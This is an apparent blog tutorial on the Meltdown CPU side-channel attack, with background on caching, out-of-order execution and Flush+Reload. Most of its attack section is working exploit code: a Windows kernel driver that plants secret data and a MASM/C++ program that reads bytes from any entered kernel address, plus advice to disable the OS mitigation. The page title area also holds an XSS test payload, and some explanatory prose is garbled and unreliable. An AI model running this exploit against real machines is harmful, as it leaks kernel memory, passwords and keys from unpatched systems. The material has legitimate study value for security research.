Meltdown - How modern CPUs leak sensitive data by side channel attacks

Previous<script> alert("me"); </script>NextRust: The Greatest Innovation in Modern Programming

Last updated 6 months ago

Meltdown - How modern CPUs leak sensitive data by side channel attacks

What is a side channel attack

Modern hardwares usually implements lots of features to achieve better performance. However, such techniques can be used to leak sensitive data or even . Most of these attacking method is considered as side channel attacks, since they are using information outside of the information system.

The definition of side channel attack is as follows, referencing Wikipedia:

In , a side-channel attack is any attack based on extra information that can be gathered because of the fundamental way a or is , rather than flaws in the design of the protocol or algorithm itself (e.g. flaws found in a of a ) or minor, but potentially devastating, . (Cryptanalysis also includes searching for side-channel attacks.) Timing information, power consumption, leaks, and are examples of extra information which could be exploited to facilitate side-channel attacks.

An example of side channel attack

From , we can see what a hardware side channel attack looks like, which I will be used as an example as follows.

Take a case that a password verification system used the code below.

int main(void)
{
  char passwd[32];
  char correct_passwd[] = "h0px3";
  my_read(passwd, 32);
  uint8_t passbad = 0;
  for (uint8_t i = 0; i < sizeof(correct_passwd); i++)
  {
    if (correct_passwd[i] != passwd[i])
    {
      passbad = 1;
      break;
    }
  }
  if (passbad)
  {
    my_puts("PASSWORD FAIL\n");
  }
  else
  {
    my_puts("Access granted, Welcome!\n");
  }
}

Inside of the for loop, it compared each bytes to see if it is identical. So if we input 'a' instead of 'h', the loop will break on the first try. However, when we input 'h', which is the correct character, the loop will continue to compare the second byte. Tricking the system with an oscilloscope attached at the power source of CPU, we can see the difference between each input.

Hence, we can guess each character, and by observing the voltage changes we can get the password. This attacking method is completely outside of the programming system, as it has nothing related with the code and algorithms apart from the energy consumption of its physical implementation.

Background of Meltdown attack

Cache

So the TLB is introduced, when the program needs to access one page of data seveal times, such as an array, it can shorten the time of each access. Let's say we need to read an array of data for 10 times. The first reading cost 300ns, after which the physical address of the page is stored in TLB cache, so the CPU don't needs to read another 2 times to locate the address where the data contains. That is what cache means - to increase the performance and reducing the repeating operations.

Out-of-order execution

Out-of order execution is another technique to optimize the performance of CPU. In most cases, CPU run instructions in a parallel on different cores. Each core has its own caches and it will run the code instruction by instruction continuously by adding its own IP (Instruction Pointer), until is hits the conditional branching(jump) instruction, where the IP register will be set to a specific location. However, in practical system, the CPU would run as more instructions as it could, regardless of the previous instruction is finished.

This means, when a memory accessing instruction has been reached, the CPU would wait the memory returns and run instructions after it simultaneously. And when the memory returned value, the CPU would check the value to judge if the result of Out-of-order execution is correct or not.

During such process, the cache is also used. So the Meltdown attack used the properties of out-of-order execution and extract the data using cache attacks. However, when an exception is raised during the instruction, the CPU would not clear/flush the cache of the out-of-order execution produced. And to gain best performance, privileges of memory page will not be checked during the out-of-order execution. As a result, a potential vulnerability has been introduced.

Even if a memory location is only accessed during out-of-order execution, it remains cached. Iterating over the 256 pages of probe array shows one cache hit, exactly on the page that was accessed during the outof-order execution.

When a cache kicked in, all data will go through it. So if the program accessed the address, the address and value of it will be stored in cache. Then an attack could use such technique to extract the data from cache.

First thing the attacker would do is flush all cache, to make sure only target accessing be cached. Then, when target "touch" the memory region with certain operations, the region would be cached. Hence, the attacker could read every byte to learn which region the victim accessed by measuring the time of reading.

That is because reading from cache is significantly faster than reading from memory, as it shown in the paper of it.

Demonstration of the attack

Principle of the attack

As the background section discussed, we can use Flush+Reload technique with the out-of-order execution to make the attack possible. To use Flush+Reload, we need an array to receive the data sent by covert channel.

First is using clflush instruction to flush the cache of array. Then making an exception so that the program will never reach the instructions below the exception, but the CPU executed it out of order. These out-of-order instructions need to load target address data and send it to the attacker by accessing the array which the attacker flushed.

Then, we measure the time of each byte inside the array, to extract the data from covert channel. The attack is successful. So an example of the attack is as follows.

#include <iostream>
#include <windows.h>
#include <emmintrin.h>
#include <intrin.h>
#define PAGE_SIZE 4096

typedef unsigned char byte;

byte array[256 * PAGE_SIZE];

int main(){
    uint8_t target_data = 37;
    uint8_t junk;
    uint64_t time[256];
    // Clear cache
    for (int i = 0; i < 256; i++){
        _mm_clflush(&array[i * PAGE_SIZE]);
    }

    // Using Exception Handler
    __try {
        *(int*)0 = 0; // Access Violation
        // Instruction below this line is executed out-of-order
        junk = array[target_data * PAGE_SIZE];
    }
    __except (GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION) {
		// An access violation is expected.
	}

    // Now the address of &array[target_data] is cached
    uint64_t minTime = 0xFFFF;
    int leak;
    for (int i = 0; i < 256; i++) {
        int aux[4];
	uint64_t t1 = __rdtsc();
        junk = array[i * PAGE_SIZE];
        rand(); // A function to ensure that CPU won't run __rdtsc below out-of-order.
	uint64_t t2 = __rdtsc() - t1;
	if (t2 < minTime) {
		minTime = t2;
		leak = i;
	}
        time[i] = t2;
    }

    std::cout << std::endl;
    std::cout << "The leaked target_data is " << leak << std::endl;

    return 0;
}

Disable the patch

For example, the Skylake platform is vulnerable. So we can just disable the protection by clicking the button below.

DISCLAIMER: THIS ARTICLE IS EDUCATIONAL PURPOSE ONLY! THE OPERATION IS DANGEROUS TO YOUR SYSTEM. DO NOT DISABLE THE PROTECTION UNLESS YOU KNOW WHAT ARE YOU DOING. YOU ARE DOING THIS AT YOUR OWN RISK.

Creating our secret data to be leaked.

We need a driver to put our data into the system address space. Anyway, any data from kernel space can be leaked with or without the driver.

On driver sides, a system thread will loop through the secret data infinitely to cache the data into the process unit, which I set to be Core 1.

#include <ntifs.h>
#include <ntddk.h>
#define DebugPrint(fmt, ...) DbgPrintEx(0,0,"[BhDebug] " ## fmt ## "\n", __VA_ARGS__ )
#define SECRET_SIZE PAGE_SIZE
const char* secretData = "";
PVOID kAddr;
PETHREAD pThread;
bool isUnloading = false;

void DriverUnload(PDRIVER_OBJECT drvObj) {
	UNREFERENCED_PARAMETER(drvObj);
	isUnloading = true;
	DebugPrint("Driver UnLoaded. Thread Termination Signel: %d", isUnloading);
	KeWaitForSingleObject(pThread, Executive, KernelMode, TRUE, 0);
	ObDereferenceObject(pThread);
	MmFreeNonCachedMemory(kAddr, PAGE_SIZE);
	pThread = nullptr;
	kAddr = nullptr;
	return;
}

void Thread_Context(PVOID context) {
	UNREFERENCED_PARAMETER(context);
	UINT32 junk = 0;
	LARGE_INTEGER interval = { .QuadPart = -100000 };

	KeSetPriorityThread(KeGetCurrentThread(), LOW_REALTIME_PRIORITY);
	KeSetSystemAffinityThread(1);
	DebugPrint("Thread started.");

	while (!isUnloading) {
		for (size_t i = 0; i < PAGE_SIZE; i++) {
			junk ^= reinterpret_cast<UINT8*>(kAddr)[i];
			junk += 0x1337;
		}
		KeDelayExecutionThread(KernelMode, TRUE, &interval);
	}

	DebugPrint("Thread termination signal received.");

	PsTerminateSystemThread(STATUS_SUCCESS);
	KeBugCheck(0);
}

extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT pdo, PUNICODE_STRING pRegPath) {
	UNREFERENCED_PARAMETER(pRegPath);
	DebugPrint("Driver Loaded.");
	HANDLE hThread;
	pdo->DriverUnload = DriverUnload;
	kAddr = MmAllocateNonCachedMemory(PAGE_SIZE);
	if (kAddr == NULL) {
		return STATUS_FAILED_DRIVER_ENTRY;
	}
	memcpy_s(kAddr, PAGE_SIZE, secretData, PAGE_SIZE);

	if (PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, 0, 0, 0, Thread_Context, 0) != STATUS_SUCCESS) {
		MmFreeNonCachedMemory(kAddr, PAGE_SIZE);
		return STATUS_FAILED_DRIVER_ENTRY;
	}
	ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pThread, NULL);
	ZwClose(hThread);
	DebugPrint("Secret Data Location: 0x%p", kAddr);
	return STATUS_SUCCESS;
}

Leaking the secret from user space

To make it easier for us to extract the data, we need to set the thread to run at Core 1, which is the same with the Driver thread. Then using SEH to handle the access violation exception, to continue the program flow.

In the exploit function, we trigger the meltdown to leak secret data into our cache.

.code
exploit proc

mov rax, qword ptr [0] ; raise an access violation exception
; Out of order execution starts.
retry:
movzx rcx, byte ptr [rcx] ; Read the data
shl rcx, 0Ch ; multiply rcx with the page size 4096
jz retry
mov rax, qword ptr [rcx+rdx] ; Push the data into cache

exploit endp
end

#include <iostream>
#include <windows.h>
#include <intrin.h>
#define PAGE_SIZE 4096

extern "C" void exploit(uintptr_t addr, void* array);

uint16_t Probe(uintptr_t addr, void* arr) {
	
	uint16_t leak = 0xFFFF;
	uint64_t minTime = 0xFF;

	// Clear cache
	for (size_t i = 0; i < 256; i++) {
		_mm_clflush(&reinterpret_cast<byte*>(arr)[i * PAGE_SIZE]);
	}
	
	// Using Exception Handler
	__try {
		exploit(addr, arr);
	}
	__except (GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION) {
		// An access violation is expected.
	}
	
	for (size_t i = 1; i < 256; i++) {
		uint32_t avx;
		uint64_t t1 = __rdtscp(&avx);
		uint8_t junk = ((byte*)arr)[i * PAGE_SIZE];
		//junk = rand() & 0xFF;  // A function to ensure that CPU won't run __rdtsc below out-of-order.
					 // Uncomment if you want to use __rdtsc()
		uint64_t t2 = __rdtscp(&avx) - t1;
		
		if (t2 < minTime) {
			minTime = t2;
			leak = i;
		}
	}

	if (minTime < 100) {
		return leak;
	}
	return 0xFFFF; // highest byte indicate error
}

uint8_t MeltdownExtractOne(uintptr_t addr, void* arr) {
	size_t tryed = 0;
	do {
		uint16_t leak = Probe(addr, arr);
		if (!(leak & 0xFF00)) { // No Error
			return leak;
		}
		tryed++;
		_mm_pause();
	} while (tryed <= 99999); // Zzzzzzzzz
	
	return 0;
}

int main() {
	uintptr_t addr;
	size_t size;
	uintptr_t junk;
	SetProcessAffinityMask(GetCurrentProcess(), 1);
	void* arr = malloc(PAGE_SIZE * 256);

	printf("Meltdown demo.\nEnter any address in hexadecimal to leak data : ");
	scanf_s("0x%p", &addr);
	printf("Size: ");
	scanf_s("%ul", &size);

	putchar('\n');
	for (size_t i = 0; i < size; i++) {
		unsigned int retn = MeltdownExtractOne(addr + i, arr);
		printf("%02X", retn);
	}

	free(arr);

	return 0;
}

Summary

In the code above, we tried 99999 times until it hits 0. That is because the chance of hitting 0 is pretty high and need to be examined more often, according to the paper of meltdown. And the performance is vary from different processors. In some cases such as 6700k, the exploit can read non-cached data. But most cases it is difficult to contribute precise result without retrying.

A potential bypass?

I didn't make it happen because of the exception handler doesn't allow me to modify the rsp/ebp value and I don't have much time to do more research since I am currently in a dangerous situation in my study. However, I will try to implement that in the future.

To security researcher that are reading this article, if you are interested in this topic and want to do more research, please consider to add me as your collaborator. Thank you.

References

Previous<script> alert("me"); </script>NextRust: The Greatest Innovation in Modern Programming

Last updated 6 months ago